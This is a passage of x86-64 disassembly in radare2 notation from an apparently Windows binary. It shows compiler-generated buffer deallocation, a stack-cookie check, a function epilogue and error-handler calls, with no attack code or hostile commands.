mov rcx, rbx
call fcn.140074ac0
add rbx, 0x20
cmp rbx, rdi
jne 0x14007a1d3
mov rbx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x30]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x14007a218
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007a2fd
mov rcx, rbx
call fcn.14007f138
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x14007a26c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007a267
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007a303
call fcn.14007f138
mov eax, r12d
mov rcx, qword [rbp + 0x640]
xor rcx, rsp
call fcn.14007f5b0
lea r11, [rsp + 0x750]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp - 0x58], r15d
mov ecx, 6
call fcn.14007b3d0
nop
call fcn.14008aa34
nop
mov dword [rbp - 0x18], r15d
mov ecx, 6
call fcn.14007b3d0
nop
mov ecx, r12d
call fcn.14007b3d0
int3
mov ecx, 5
call fcn.14007b3d0
int3
mov ecx, 2
call fcn.14007b3d0
nop
call fcn.14008aa34
nop
call fcn.14008aa34
nop
mov ecx, r12d
call fcn.140089b20
nop
call fcn.140085bb0
nop
call fcn.140085bb0
nop
call fcn.140085bb0
nop
mov dword [rbp - 8], r15d
mov ecx, 6
call fcn.14007b3d0
int3